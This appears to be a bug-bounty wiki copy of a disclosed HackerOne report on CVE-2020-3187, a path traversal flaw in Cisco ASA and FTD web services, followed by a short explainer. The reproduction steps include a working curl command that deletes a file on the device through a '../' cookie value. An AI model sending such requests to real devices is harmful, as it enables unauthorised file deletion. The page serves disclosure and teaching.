Skip to content
Path traversal Disclosed report Intermediate CVE-2020-3187

CVE-2020-3187 - Unauthenticated Arbitrary File Deletion

The web services interface of Cisco ASA and FTD software fails to properly validate the HTTP URL, allowing directory traversal. An unauthenticated remote attacker could view or delete files within the web services file system.

oucast_ Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 3 hours
  • Fixed in 24 days
  • Disclosed after 35 days

Summary:

A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and obtain read and delete access to sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences.

Vulnerable Endpoint

https://██████/+CSCOE+/session_password.html

Impact

An exploit could allow the attacker to view or delete arbitrary files on the targeted system. When the device is reloaded after exploitation of this vulnerability, any files that were deleted are restored. The attacker can only view and delete files within the web services file system. This file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability can not be used to obtain access to ASA or FTD system files or underlying operating system (OS) files. Reloading the affected device will restore all files within the web services file system.

Step-by-step Reproduction Instructions

1.First I performed a curl request to validate that /session_password.html gave a 200 response.

 curl -k -s -i https://██████/+CSCOE+/session_password.html

2.Example to delete logo file "/+CSCOU+/csco_logo.gif".

 curl -k -H "Cookie: token=../+CSCOU+/csco_logo.gif" https://█████████/+CSCOE+/session_password.html

NOTE: No destructive behavior was performed on target, the above command will remove csco_logo.gif and can be restored on reboot of the device

Suggested Mitigation/Remediation Actions

Upgrade to the latest version of Cisco ASA or Cisco FTD.

Impact

CVSS Score: Base 9.1 Vector: CVSS:3.0/CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X

An unauthenticated, remote attacker can delete sensitive files located inside the webroot directory.

The original report as published on HackerOne, by oucast_. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could view or delete arbitrary files within the web services file system, but cannot access ASA/FTD system files or the underlying OS, and deleted files are restored on reboot.

What the attacker needed

WebVPN or AnyConnect features enabled; No authentication required

The fix

Upgrade to the latest version of Cisco ASA or Cisco FTD.

How it was found

  1. Send a request to the session_password.html endpoint to confirm it returns a 200 response.
  2. Send a request to the same endpoint with a cookie containing a directory traversal sequence pointing to a target file, which deletes that file.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a directory traversal bug. The web server takes a value from the request (here, a cookie) and uses it to build a file path without checking it. By putting '../' in that value, an attacker can make the server access files outside the intended folder, such as deleting a logo image.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.